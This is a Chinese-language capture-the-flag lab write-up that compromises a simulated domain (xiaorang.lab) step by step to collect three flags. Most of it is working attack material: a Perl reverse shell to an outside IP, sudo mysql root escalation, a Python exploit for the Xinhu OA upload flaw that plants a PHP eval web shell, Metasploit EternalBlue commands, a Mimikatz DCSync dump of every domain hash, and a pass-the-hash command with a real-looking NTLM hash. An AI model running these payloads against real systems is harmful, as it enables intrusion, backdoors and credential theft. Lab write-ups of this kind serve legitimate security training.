Initial
1. 知识点
- MS17-010
- thinkphp-rce
- 信呼OA RCE
2. 工具
内网扫描 GitHub - shadow1ng/fscan: 一款内网综合扫描工具，方便一键自动化、全方位漏扫扫描。
内网代理 GitHub - ph4ntonn/Stowaway: 👻Stowaway -- Multi-hop Proxy Tool for pentesters
GTFOBins GTFOBins
Proxifier Title Unavailable | Site Unreachable
DCSync
3. flag01
3.1. thinkphp-rce
3.2. sudo提权
sudo检测出利用Mysql进行提权
sudo mysql -e '\! /bin/sh' #提权root
nc -lvvp 1133
perl -e 'use Socket;$i="124.71.111.64";$p=1133;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
4. flag02
4.1. 内网扫描
先上传fscan
./fscan -h 172.22.1.0/24
扫描结果
172.22.1.15 thinkphprce 已经拿下
172.22.1.21 XIAORANG-WIN7.xiaorang.lab MS17-010
172.22.1.2 DC01
172.22.1.18 XIAORANG-OA01 信呼协同办公系统
4.2. 搭建内网代理
服务端 ./stowaway_admin -l 1122
客户端 ./stowaway_agent -c 124.71.111.64:1122
服务端 use 0
服务端 socks 1123
4.3. proxifier连接代理
代理规则
4.4. 弱口令登录系统
账号admin
密码admin123
4.5. 信呼OA RCE
kali桌面新建两个文件 1.php exp.py
1.php
<?php eval($_POST["1"]);?>
exp.py
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)
执行命令
proxychains python3 exp.py
得到了后门的路径 哥斯拉连接即可
连接后直接就是system权限
查看flag
5. flag03
172.22.1.15 thinkphprce 已经拿下
172.22.1.21 XIAORANG-WIN7.xiaorang.lab MS17-010
172.22.1.2 DC01
172.22.1.18 XIAORANG-OA01 信呼协同办公系统 已拿下
我们下一步对 172.22.1.21 进行下手
检查出存在永恒之蓝 直接用msf梭哈
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
run
5.1. dcsync
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
5.2. 3.PTH
proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
